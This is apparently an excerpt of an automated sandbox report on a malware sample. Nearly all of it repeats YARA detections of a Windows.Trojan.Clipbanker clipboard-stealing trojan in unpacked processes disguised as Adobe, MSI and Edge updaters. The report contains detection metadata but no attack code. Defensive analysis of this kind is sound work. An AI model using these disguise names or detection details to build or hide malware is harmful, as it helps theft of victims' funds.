Source: file.exe, 00000000.00000003.1624496225.00000000068BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.1550663261.0000000006610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000003.1620620670.00000000068B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 38.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 38.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 33.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 33.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 21.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 21.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 41.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 41.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 44.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 44.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 12.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 12.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
